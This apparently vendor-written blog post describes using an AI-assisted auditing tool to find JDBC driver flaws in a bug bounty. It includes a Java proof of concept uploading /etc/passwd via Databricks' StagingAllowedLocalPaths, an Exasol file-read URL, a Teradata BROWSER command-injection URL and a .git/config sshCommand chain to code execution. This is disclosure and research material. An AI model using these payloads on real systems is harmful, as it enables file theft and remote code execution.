Hacktron

A few months back, a friend of mine, @sudhanshur705, was participating in a bug bounty event. He mentioned that his target scope relied heavily on JDBC drivers and asked if I wanted to collaborate and dig into the drivers used on the platform, with the hope of finding an RCE or an impactful server-side vulnerability.

Personally, I love reading code and hunting for vulnerabilities, but over the past couple of months I’ve been looking at how LLM-assisted auditing fits into pentesting and source code review. As much as I wanted to jump in manually, I figured this was a chance to see whether Hacktron CLI could help audit these JDBC drivers and find real bugs.

So I got the list of all the JDBC drivers in use and decompiled their sources. Manually reviewing each of them for file reads, writes, reflection, JNDI, deserialization, SSRF, command injection, and all the usual suspects would’ve taken so long that the event might as well finish by then (only 2 days remaining).

Hacktron CLI is our tool for code-assisted vulnerability research and pentests. I put together a “JDBC driver pack” for it. A pack is basically a curated list of agents that run on a given repo. This one was built for JDBC drivers and had an agent for each vulnerability class we cared about. After about an hour, I had it ready to run against the decompiled drivers.

To try it yourself:

Terminal window
hacktron agent pack JDBC_driver

Hacktron CLI first enumerated every file-related sink in the driver and mapped which ones took dynamic input. It produced a long list of candidate classes and methods and traced the input for each, starting with these file-read primitives:

Terminal window
HACKTRON
The following is a list of Java files that contain file-reading methods where the file path is provided as a variable rather than a hardcoded static value.
Assumptions:
● The analysis assumes that creating a FileEntity object implies a subsequent read operation, as its purpose is typically to encapsulate a file for data transfer.
● The analysis focuses on explicit content-reading operations. File system metadata operations like exists(), renameTo(), or delete() on File objects have been excluded.
--------
Files List:
● Path: databricks/client/hivecommon/api/TETSSLTransportFactory.java
● Line: 87
● Path: databricks/client/jdbc/common/CommonUtils.java
● Line: 66
● Path: databricks/client/jdbc/common/DSTrustManager.java
● Line: 44
● Path: databricks/client/jdbc/kerberos/JaasConfiguration.java
● Line: 25
● Path: databricks/client/jdbc42/internal/apache/commons/codec/digest/DigestUtils.java
● Line: 455
● Path: databricks/client/jdbc42/internal/apache/commons/codec/digest/HmacUtils.java
● Line: 294
● Path: databricks/client/jdbc42/internal/apache/http/conn/util/PublicSuffixMatcherLoader.java
● Line: 44
● Path: databricks/client/jdbc42/internal/apache/http/entity/FileEntity.java
● Line: 44
● Line: 50
● Path: databricks/client/jdbc42/internal/apache/http/ssl/SSLContextBuilder.java
● Line: 119

Once Hacktron CLI had gathered the interesting sinks, it went through each one to check whether the input could be traced back to user-controllable input. That would have taken me a few hours by hand. Hacktron CLI did it in 15 minutes.

In the Databricks JDBC driver, one pattern stood out: a connection-string property called StagingAllowedLocalPaths, intended to restrict local file staging operations to approved directories. Hacktron CLI reasoned that this defeats the purpose entirely because the allowlist itself is supplied by the user in the connection string:

Terminal window
HACKTRON
Tool → Grepping for pattern "parseStagingAllowedLocalPaths"
✧ Thought: The grep result shows that parseStagingAllowedLocalPaths is called in [databricks/client/hivecommon/core/HiveJDBCCommonConnection.java:974](./databricks/client/hivecommon/core/HiveJDBCCommonConnection.java:974) with optionalSetting41.getString() as the argument. This confirms that the allowed paths are being set from a connection setting.
To be absolutely sure, I will read the code around this line to see how optionalSetting41 is defined. This will reveal the exact name of the JDBC property.
Tool → Reading file databricks/client/hivecommon/core/HiveJDBCCommonConnection.java lines: 960-20
✧ Thought: The code in [databricks/client/hivecommon/core/HiveJDBCCommonConnection.java:973-974](./databricks/client/hivecommon/core/HiveJDBCCommonConnection.java:973-974) confirms it all. The JDBC property is StagingAllowedLocalPaths. A user can provide a comma-separated list of directories via this connection property.
This means the allowlist intended to restrict file access in [databricks/client/spark/jdbc/UCVolumeIngestionManager.java](./databricks/client/spark/jdbc/UCVolumeIngestionManager.java) is fully user-controllable. An attacker can set StagingAllowedLocalPaths to / (or any other directory) and then use the staging feature to upload any file they have read access to on the client machine. The file content is sent via an HTTP PUT request.
This confirms the vulnerability for the findings in [databricks/client/jdbc42/internal/apache/http/entity/FileEntity.java](./databricks/client/jdbc42/internal/apache/http/entity/FileEntity.java).

As soon as the driver trusts this list, the feature becomes an entry point for arbitrary file reads and writes on the client system:

Terminal window
### 2. Arbitrary File Upload via StagingAllowedLocalPaths
Description:
The StagingAllowedLocalPaths JDBC property, intended to restrict file uploads to specific directories, is user-configurable. An attacker can set this property to a sensitive location like / and then use a PUT query to exfiltrate any file from the client machine to a destination they control.
Evidence:
● Vulnerable Code: The driver creates a FileEntity from the user-provided path during a staging operation in databricks/client/spark/jdbc/UCVolumeIngestionManager.java:160.
FileEntity fileEntity = new FileEntity(new File(str2));
● Source of Taint: The allowlist is configured directly from the connection string in databricks/client/hivecommon/core/HiveJDBCCommonConnection.java:974.
Recommendation:
The StagingAllowedLocalPaths property should not be configurable via the user-supplied JDBC connection string. This security control should be managed in a configuration file on the client system that is not modifiable by the entity establishing the connection. By making this an application-level or environment-level setting, you prevent attackers from bypassing the intended restrictions.

At this point, I had no real familiarity with Databricks or how its JDBC driver worked, and the PUT query logic felt like gibberish. So I simply asked Hacktron CLI how a proof-of-concept would look if someone wanted to exploit this behavior. That’s when it pointed me to Databricks’ Volume storage feature.

A query like the one below lets you upload any local file to a Databricks volume:

PUT localfile_path INTO volume_path OVERWRITE

Here is the proof of concept Hacktron CLI wrote:

Terminal window
HACKTRON
A Java code snippet for this direct attack would be:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
public class DatabricksPoc {
public static void main(String[] args) throws Exception {
// The connection string now defines /etc/ as the allowed staging path.
String jdbcUrl = "jdbc:databricks://<your-databricks-host>:443/default;StagingAllowedLocalPaths=/etc/";
// The query directly references the target file. No traversal is needed.
String maliciousPutQuery = "PUT '/etc/passwd' INTO '/Volumes/main/default/my_volume/'";
try (Connection conn = DriverManager.getConnection(jdbcUrl, "<user>", "<token>")) { Statement stmt = conn.createStatement();
// Executing this query triggers the file read and upload.stmt.execute(maliciousPutQuery);
}
}
}
When this code runs:
1. The driver checks if the parent directory of /etc/passwd (which is /etc) is in the allowed list.
2. Since you set StagingAllowedLocalPaths=/etc/, the check passes.
3. The driver reads /etc/passwd and uploads it to the specified UC Volume.

Interesting, can it do vice versa? I asked Hacktron CLI: “Okay, can we download a file from the server into an attacker-controlled local path?” It answered:

Terminal window
This flaw allows an attacker to perform two types of attacks:
1. Arbitrary File Read: The processPutRequest method ( [databricks/client/spark/jdbc/UCVolumeIngestionManager.java:151-170](./databricks/client/spark/jdbc/UCVolumeIngestionManager.java:151-170) ) reads a file from a user-provided path and sends its contents in an HTTP PUT request to a remote server. By exploiting the path traversal vulnerability, an attacker can specify an arbitrary file path (e.g., /etc/passwd), and the JDBC driver will send the contents of that file to an attacker-controlled server.
2. Arbitrary File Write: The processGetRequest method ( [databricks/client/spark/jdbc/UCVolumeIngestionManager.java:115-134](./databricks/client/spark/jdbc/UCVolumeIngestionManager.java:115-134) ) fetches content from a URL and writes it to a user-provided local file path. An attacker can exploit the path traversal to specify an arbitrary file path on the local system, causing the JDBC driver to overwrite existing files or create new ones in sensitive locations.

This gave us file read and write primitives. However, because the local user running the JDBC driver had limited permissions for writing files, we chained it with another feature in the platform that allowed the web app user to clone Git repositories. By overwriting the .git/config file of the cloned repository with a controlled sshCommand and pointing it to a remote SSH URL, performing a Git operation like creating a new branch from the platform executed our command. This turned the file read/write primitive into an RCE.

Databricks added a note to its documentation that letting users control StagingAllowedLocalPaths can lead to security issues.

The Exasol driver had a similar arbitrary file read, with one limitation: it throws an exception if the file content has certain characters. Hacktron CLI flagged it like this:

Terminal window
HACKTRON
### 1. Arbitrary File Read via JDBC Connection URL (High Severity)
An attacker can read arbitrary files from the client's filesystem by providing a specially crafted JDBC connection URL. The contents of the specified file are disclosed in the resulting SQLException message.
Vulnerable Code:
The vulnerability exists in the [readFile](./exasol/jdbc/EXAURLParser.java:142-168) method within [exasol/jdbc/EXAURLParser.java](./exasol/jdbc/EXAURLParser.java). When a JDBC URL such as jdbc:exa:////etc/passwd is provided, the driver attempts to parse the path as a file. If an error occurs during file processing, the exception message includes the file's contents.
Recommendation:
● Avoid Leaking File Content: Modify the exception handling in the [readFile](./exasol/jdbc/EXAURLParser.java:142-168) method to return a generic error message instead of the file's content.
● Validate Paths: Ensure that any file path read from the connection URL is validated to prevent directory traversal and restrict access to expected locations.

In our case we read the application’s secrets file.

A few other drivers were vulnerable to full-response SSRF and RCE. For example, the Teradata driver had a command injection that other researchers had already disclosed. Here is Hacktron CLI’s report:

Terminal window
HACKTRON
Vulnerability Details:
● File: [com/teradata/jdbc/jdbc/BrowserAuth.java](./com/teradata/jdbc/jdbc/BrowserAuth.java)
● Category: Command Injection
● Severity: High
Description:
The vulnerability originates from the BROWSER connection parameter. The value of this parameter is retrieved at [BrowserAuth.java:27](./com/teradata/jdbc/jdbc/BrowserAuth.java:27) and stored in the browser variable without proper sanitization. This tainted variable is later used to construct a command string which is executed by the system at [BrowserAuth.java:117](./com/teradata/jdbc/jdbc/BrowserAuth.java:117). An attacker can inject malicious commands by crafting a special BROWSER parameter value.
Code Snippets:
● Source (User Input):
// The 'browser' variable is assigned from the user-controlled 'BROWSER' connection parameter.
String browser = uRLParameters.getBrowser(); // [com/teradata/jdbc/jdbc/BrowserAuth.java:27]
● Sink (Command Execution):
// Inside the doBrowserAuth method, the tainted string is used to build a command.
String replaceAll = str3.replaceAll(PLACEHOLDER, ...); // [com/teradata/jdbc/jdbc/BrowserAuth.java:114]
// The constructed command is executed.
Process exec = Runtime.getRuntime().exec(replaceAll); // [com/teradata/jdbc/jdbc/BrowserAuth.java:117]
Proof of Concept:
An attacker can exploit this by providing a malicious JDBC connection URL. For example, on a Linux system, the following URL would execute the gnome-calculator application by injecting it into the command line:
jdbc:teradata://<host>/LOGMECH=BROWSER,BROWSER='gnome-calculator;'

Across different vendor drivers, Hacktron CLI surfaced multiple vulnerabilities that netted a total of $85,000 in bug bounties.

I still love cracking open code by hand, but with only two days left in the event there was no realistic way I could manually go through every JDBC driver’s parsing logic. Hacktron CLI did the mechanical reading, and I spent my time on the creative part.

We’re onboarding early users for Hacktron CLI. Join the waitlist to get the same tooling we used for this project.